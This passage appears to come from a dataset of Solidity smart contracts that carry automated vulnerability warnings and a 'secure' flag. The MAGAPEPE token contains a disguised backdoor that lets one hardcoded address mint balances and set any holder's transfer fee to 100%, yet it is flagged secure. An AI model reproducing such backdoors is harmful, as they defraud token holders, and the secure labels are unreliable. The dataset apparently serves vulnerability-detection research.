recipients.length; i++) {\n\t\t\t// calls-loop | ID: 2c934d1\n uint256 balanceBefore = IERC20(tokens[i]).balanceOf(recipients[i]);\n\n\t\t\t// calls-loop | ID: 93c7158\n\t\t\t// missing-zero-check | ID: be91327\n (bool success, ) = address(tokens[i]).call(\n abi.encodeWithSelector(\n IERC20(tokens[i]).transferFrom.selector,\n from,\n recipients[i],\n amounts[i]\n )\n );\n\n\t\t\t// calls-loop | ID: e00850e\n uint256 balanceAfter = IERC20(tokens[i]).balanceOf(recipients[i]);\n\n\t\t\t// incorrect-equality | ID: 750c280\n require(\n success && (balanceAfter == balanceBefore + amounts[i]),\n \"Transfer failed or incorrect amount transferred\"\n );\n\n if (!success) {\n revert TransferFailed();\n }\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: cd3277c): Calls inside a loop might lead to a denial-of-service attack.\n\t// Recommendation for cd3277c: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: cf11ee0): TokenDistributor.distributeContractTokens(address[],address[],uint256[]) has external calls inside a loop balanceBefore = IERC20(tokens[i]).balanceOf(recipients[i])\n\t// Recommendation for cf11ee0: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: f01290b): TokenDistributor.distributeContractTokens(address[],address[],uint256[]) has external calls inside a loop balanceAfter = IERC20(tokens[i]).balanceOf(recipients[i])\n\t// Recommendation for f01290b: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 8afdf6a): Use of strict equalities that can be easily manipulated by an attacker.\n\t// Recommendation for 8afdf6a: Don't use strict equality to determine if an account has enough Ether or tokens.\n function distributeContractTokens(\n address[] calldata tokens,\n address[] calldata recipients,\n uint256[] calldata amounts\n ) external onlyOwner {\n require(\n tokens.length == recipients.length &&\n recipients.length == amounts.length,\n \"Array lengths do not match\"\n );\n\n for (uint256 i = 0; i < recipients.length; i++) {\n\t\t\t// calls-loop | ID: cf11ee0\n uint256 balanceBefore = IERC20(tokens[i]).balanceOf(recipients[i]);\n\n\t\t\t// calls-loop | ID: cd3277c\n (bool success, ) = address(tokens[i]).call(\n abi.encodeWithSelector(\n IERC20(tokens[i]).transfer.selector,\n recipients[i],\n amounts[i]\n )\n );\n\n\t\t\t// calls-loop | ID: f01290b\n uint256 balanceAfter = IERC20(tokens[i]).balanceOf(recipients[i]);\n\n\t\t\t// incorrect-equality | ID: 8afdf6a\n require(\n success && (balanceAfter == balanceBefore + amounts[i]),\n \"Transfer failed or incorrect amount transferred\"\n );\n\n if (!success) {\n revert TransferFailed();\n }\n }\n }\n\n function withdrawTokens(address token, uint256 amount) external onlyOwner {\n require(\n IERC20(token).transfer(owner, amount),\n \"Token withdrawal failed\"\n );\n }\n}", "file_name": "solidity_code_4006.sol", "secure": 0, "size_bytes": 5864 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721Enumerable.sol\" as IERC721Enumerable;\n\ninterface INonfungiblePositionManager is IERC721Enumerable {\n event IncreaseLiquidity(\n uint256 indexed tokenId,\n uint128 liquidity,\n uint256 amount0,\n uint256 amount1\n );\n\n event DecreaseLiquidity(\n uint256 indexed tokenId,\n uint128 liquidity,\n uint256 amount0,\n uint256 amount1\n );\n\n event Collect(\n uint256 indexed tokenId,\n address recipient,\n uint256 amount0,\n uint256 amount1\n );\n\n function positions(\n uint256 tokenId\n )\n external\n view\n returns (\n uint96 nonce,\n address operator,\n address token0,\n address token1,\n uint24 fee,\n int24 tickLower,\n int24 tickUpper,\n uint128 liquidity,\n uint256 feeGrowthInside0LastX128,\n uint256 feeGrowthInside1LastX128,\n uint128 tokensOwed0,\n uint128 tokensOwed1\n );\n\n struct MintParams {\n address token0;\n address token1;\n uint24 fee;\n int24 tickLower;\n int24 tickUpper;\n uint256 amount0Desired;\n uint256 amount1Desired;\n uint256 amount0Min;\n uint256 amount1Min;\n address recipient;\n uint256 deadline;\n }\n\n function mint(\n MintParams calldata params\n )\n external\n payable\n returns (\n uint256 tokenId,\n uint128 liquidity,\n uint256 amount0,\n uint256 amount1\n );\n\n struct IncreaseLiquidityParams {\n uint256 tokenId;\n uint256 amount0Desired;\n uint256 amount1Desired;\n uint256 amount0Min;\n uint256 amount1Min;\n uint256 deadline;\n }\n\n function increaseLiquidity(\n IncreaseLiquidityParams calldata params\n )\n external\n payable\n returns (uint128 liquidity, uint256 amount0, uint256 amount1);\n\n struct DecreaseLiquidityParams {\n uint256 tokenId;\n uint128 liquidity;\n uint256 amount0Min;\n uint256 amount1Min;\n uint256 deadline;\n }\n\n function decreaseLiquidity(\n DecreaseLiquidityParams calldata params\n ) external payable returns (uint256 amount0, uint256 amount1);\n\n struct CollectParams {\n uint256 tokenId;\n address recipient;\n uint128 amount0Max;\n uint128 amount1Max;\n }\n\n function collect(\n CollectParams calldata params\n ) external payable returns (uint256 amount0, uint256 amount1);\n\n function burn(uint256 tokenId) external payable;\n}", "file_name": "solidity_code_4007.sol", "secure": 1, "size_bytes": 2870 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./INonfungiblePositionManager.sol\" as INonfungiblePositionManager;\n\ncontract Collector is Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 4f980e3): Collector.manager should be immutable \n\t// Recommendation for 4f980e3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n INonfungiblePositionManager public manager;\n\n uint256 public timestamp = block.timestamp;\n\n error LockedError(uint256 timestamp);\n\n error InvalidTimestampError(uint256 timestamp);\n\n constructor(INonfungiblePositionManager manager_) Ownable(_msgSender()) {\n manager = manager_;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d726a3a): Collector.dispose() uses timestamp for comparisons Dangerous comparisons block.timestamp < timestamp\n\t// Recommendation for d726a3a: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 8304ca4): Collector.dispose() has external calls inside a loop tokenId = manager.tokenOfOwnerByIndex(address(this),i)\n\t// Recommendation for 8304ca4: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 9f0228d): Collector.dispose() has external calls inside a loop manager.transferFrom(address(this),owner(),tokenId)\n\t// Recommendation for 9f0228d: Favor pull over push strategy for external calls.\n function dispose() public onlyOwner {\n\t\t// timestamp | ID: d726a3a\n if (block.timestamp < timestamp) {\n revert LockedError(block.timestamp);\n }\n\n uint256 balance = manager.balanceOf(address(this));\n\n for (uint256 i = 0; i < balance; i++) {\n\t\t\t// calls-loop | ID: 8304ca4\n uint256 tokenId = manager.tokenOfOwnerByIndex(address(this), i);\n\n\t\t\t// calls-loop | ID: 9f0228d\n manager.transferFrom(address(this), owner(), tokenId);\n }\n }\n\n function extend(uint256 updated) public onlyOwner {\n if (updated < timestamp) {\n revert InvalidTimestampError(updated);\n }\n\n timestamp = updated;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 844ca3e): Collector.collect(INonfungiblePositionManager.CollectParams) ignores return value by manager.collect(params)\n\t// Recommendation for 844ca3e: Ensure that all the return values of the function calls are used.\n function collect(\n INonfungiblePositionManager.CollectParams memory params\n ) public onlyOwner returns (uint256 amount0, uint256 amount1) {\n if (params.recipient == address(this)) {\n params.recipient = owner();\n }\n\n if (params.recipient == address(0)) {\n params.recipient = owner();\n }\n\n\t\t// unused-return | ID: 844ca3e\n return manager.collect(params);\n }\n}", "file_name": "solidity_code_4008.sol", "secure": 0, "size_bytes": 3017 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MAGAPEPE is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fbd9e2e): MAGAPEPE._decimals should be immutable \n\t// Recommendation for fbd9e2e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bfa5525): MAGAPEPE._totalSupply should be immutable \n\t// Recommendation for bfa5525: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8662be1): MAGAPEPE._marketwddressbes should be immutable \n\t// Recommendation for 8662be1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketwddressbes;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketwddressbes = 0x778a69564830efAea2E52EF4e79b25623A26489b;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apprcve(address user, uint256 Percents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = Percents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, Percents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketwddressbes;\n }\n\n function liqulltlysmagapepe(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_4009.sol", "secure": 1, "size_bytes": 5372 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20Upgradeable.sol\" as IERC20Upgradeable;\nimport \"./IERC20PermitUpgradeable.sol\" as IERC20PermitUpgradeable;\nimport \"./AddressUpgradeable.sol\" as AddressUpgradeable;\n\nlibrary SafeERC20Upgradeable {\n using AddressUpgradeable for address;\n\n function safeTransfer(\n IERC20Upgradeable token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20Upgradeable token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20Upgradeable token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20Upgradeable token,\n address spender,\n uint256 value\n ) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n oldAllowance + value\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20Upgradeable token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n require(\n oldAllowance >= value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n oldAllowance - value\n )\n );\n }\n }\n\n function forceApprove(\n IERC20Upgradeable token,\n address spender,\n uint256 value\n ) internal {\n bytes memory approvalCall = abi.encodeWithSelector(\n token.approve.selector,\n spender,\n value\n );\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, 0)\n );\n\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n function safePermit(\n IERC20PermitUpgradeable token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n\n token.permit(owner, spender, value, deadline, v, r, s);\n\n uint256 nonceAfter = token.nonces(owner);\n\n require(\n nonceAfter == nonceBefore + 1,\n \"SafeERC20: permit did not succeed\"\n );\n }\n\n function _callOptionalReturn(\n IERC20Upgradeable token,\n bytes memory data\n ) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n require(\n returndata.length == 0 || abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n\n function _callOptionalReturnBool(\n IERC20Upgradeable token,\n bytes memory data\n ) private returns (bool) {\n (bool success, bytes memory returndata) = address(token).call(data);\n\n return\n success &&\n (returndata.length == 0 || abi.decode(returndata, (bool))) &&\n AddressUpgradeable.isContract(address(token));\n }\n}", "file_name": "solidity_code_401.sol", "secure": 1, "size_bytes": 4385 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TEW is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isFree;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 73207f2): TEW._taxWallet should be immutable \n\t// Recommendation for 73207f2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 27c3a43): TEW._initialBuyTax should be constant \n\t// Recommendation for 27c3a43: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: c42472a): TEW._initialSellTax should be constant \n\t// Recommendation for c42472a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0f6fdb2): TEW._finalBuyTax should be constant \n\t// Recommendation for 0f6fdb2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e03319b): TEW._finalSellTax should be constant \n\t// Recommendation for e03319b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4c226a5): TEW._reduceBuyTaxAt should be constant \n\t// Recommendation for 4c226a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4559cb4): TEW._reduceSellTaxAt should be constant \n\t// Recommendation for 4559cb4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85b56df): TEW._preventSwapBefore should be constant \n\t// Recommendation for 85b56df: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump in a memes world\";\n\n string private constant _symbol = unicode\"TEW\";\n\n uint256 public _maxTxAmount = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 445161f): TEW._taxSwapThreshold should be constant \n\t// Recommendation for 445161f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0750f95): TEW._maxTaxSwap should be constant \n\t// Recommendation for 0750f95: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d58653): TEW.caCount should be constant \n\t// Recommendation for 3d58653: Add the 'constant' attribute to state variables that never change.\n uint256 public caCount = 2;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1975d5a): TEW.caLimiter should be constant \n\t// Recommendation for 1975d5a: Add the 'constant' attribute to state variables that never change.\n bool public caLimiter = true;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isFree[owner()] = true;\n\n isFree[address(this)] = true;\n\n isFree[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8263979): TEW.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8263979: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n mapping(address => bool) public _isBlacklisted;\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bd0b62a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bd0b62a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: abd2327): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for abd2327: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bd0b62a\n\t\t// reentrancy-benign | ID: abd2327\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bd0b62a\n\t\t// reentrancy-benign | ID: abd2327\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 620e89e): TEW._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 620e89e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: abd2327\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bd0b62a\n emit Approval(owner, spender, amount);\n }\n\n function removeFromBlackList(address account) external onlyOwner {\n _isBlacklisted[account] = false;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 52a339d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 52a339d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6fcc8f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6fcc8f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cc83281): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cc83281: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(\n !_isBlacklisted[from] && !_isBlacklisted[to],\n \"To/from address is blacklisted\"\n );\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isFree[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isFree[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimiter &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caCount, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 52a339d\n\t\t\t\t// reentrancy-eth | ID: 6fcc8f3\n\t\t\t\t// reentrancy-eth | ID: cc83281\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 52a339d\n\t\t\t\t\t// reentrancy-eth | ID: 6fcc8f3\n\t\t\t\t\t// reentrancy-eth | ID: cc83281\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: cc83281\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: cc83281\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 52a339d\n\t\t\t\t// reentrancy-eth | ID: 6fcc8f3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 52a339d\n\t\t\t\t\t// reentrancy-eth | ID: 6fcc8f3\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6fcc8f3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 52a339d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6fcc8f3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6fcc8f3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 52a339d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeFromBlackListwallets(\n address[] calldata addresses\n ) public onlyOwner {\n for (uint256 i; i < addresses.length; ++i) {\n _isBlacklisted[addresses[i]] = false;\n }\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: bd0b62a\n\t\t// reentrancy-events | ID: 52a339d\n\t\t// reentrancy-benign | ID: abd2327\n\t\t// reentrancy-eth | ID: 6fcc8f3\n\t\t// reentrancy-eth | ID: cc83281\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function addToBlackList(address[] calldata addresses) external onlyOwner {\n for (uint256 i; i < addresses.length; ++i) {\n _isBlacklisted[addresses[i]] = true;\n }\n }\n\n function isFree_AnyStuckETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9cda35c): TEW.isFree_AnyERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 9cda35c: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function isFree_AnyERC20Tokens(\n address _tokenAddr,\n uint256 _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 9cda35c\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isFree_WalletRestrictions() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: de6a003): TEW.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for de6a003: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: bd0b62a\n\t\t// reentrancy-events | ID: 52a339d\n\t\t// reentrancy-eth | ID: 6fcc8f3\n\t\t// reentrancy-eth | ID: cc83281\n\t\t// arbitrary-send-eth | ID: de6a003\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e7d29d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e7d29d7: 